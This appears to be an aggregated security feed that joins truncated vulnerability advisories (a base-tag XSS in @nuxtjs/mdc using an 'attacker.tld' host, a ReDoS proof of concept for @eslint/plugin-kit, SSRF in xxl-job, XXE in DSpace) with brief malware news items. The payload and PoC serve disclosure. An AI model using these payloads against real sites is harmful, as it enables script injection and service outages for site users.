#java

### Summary A **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. ### Details - **Affected file** : `src/runtime/parser/utils/props.ts` - **Core logic**  : `validateProp()` inspects * attributes that start with `on` → blocked * `href` or `src` → filtered by `isAnchorLinkAllowed()` Every other attribute and every **tag** (including `<base>`) is allowed unchanged, so the malicious `href` on `<base>` is never validated. ``` export const validateProp = (attribute: string, value: string) => { if (attribute.startsWith('on')) return false if (attribute === 'href' || attribute === 'src') { return isAnchorLinkAllowed(value) } retur...

### Summary The `ConfigCommentParser#parseJSONLikeConfig` API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument. ### Details The regular expression at [packages/plugin-kit/src/config-comment-parser.js:158](https://github.com/eslint/rewrite/blob/bd4bf23c59f0e4886df671cdebd5abaeb1e0d916/packages/plugin-kit/src/config-comment-parser.js#L158) is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with `[^-a-zA-Z0-9/]`. ### PoC ```javascript const { ConfigCommentParser } = require("@eslint/plugin-kit"); const str = `${"A".repeat(1000000)}?: 1 B: 2`; console.log("start") var parser = new ConfigCommentParser(); console.log(parser.parseJSONLikeConfig(str)); console.log("end") // run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js` // then the program will stuck forever with high CPU usage ``` ### Impact This is a Regular Expression Denial of Serv...

A vulnerability, which was classified as critical, was found in Xuxueli xxl-job up to 3.1.1. Affected is the function httpJobHandler of the file src\main\java\com\xxl\job\executor\service\jobhandler\SampleXxlJob.java. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

Hackers are exploiting a new TeleMessage SGNL flaw that exposes sensitive data. CISA warns agencies to patch or stop using it by July 22.

Hackers abused fake GitHub accounts to spread Emmenhtal, Amadey, Lumma and Redline infoStealers in attacks linked to a phishing campaign targeting Ukraine in early 2025.

Cisco Talos uncovered a stealthy Malware-as-a-Service (MaaS) operation that used fake GitHub accounts to distribute a variety of dangerous payloads and evade security defenses.

BADBOX variant BADBOX 2.0 found preinstalled on Android IoT devices in 222 countries, turning them into proxy nodes used in fraud and large-scale malicious activity.

The decision between immediate action and delayed response made the difference between ransomware prevention and complete encryption in these two real-world Talos IR engagements.

Fake Telegram apps are being spread through 607 malicious domains to deliver Android malware, using blog-style pages and phishing tactics to trick users.

### Impact Two related XXE injection possibilities have been discovered, **impacting all versions of DSpace prior to 7.6.4, 8.2 and 9.1**. 1. External entities are not disabled when parsing XML files during import of an archive (in [Simple Archive Format](https://wiki.lyrasis.org/pages/viewpage.action?pageId=104566653)), either from command-line (`./dspace import` command) or from the "Batch Import (Zip)" user interface feature. _(Likely impacts all versions of DSpace 1.x <= 7.6.3, 8.0 <= 8.1, and 9.0)_ 2. External entities are also not explicitly disabled when parsing XML responses from some upstream services (ArXiv, Crossref, OpenAIRE, Creative Commons) used in [import from external sources](https://wiki.lyrasis.org/pages/viewpage.action?pageId=104566672) via the user interface or REST API. _(Impacts all versions of DSpace 7.0 <= 7.6.3, 8.0 <= 8.1 and 9.0)_ An XXE injection in these files may result in a connection being made to an attacker's site or a local path readable by the ...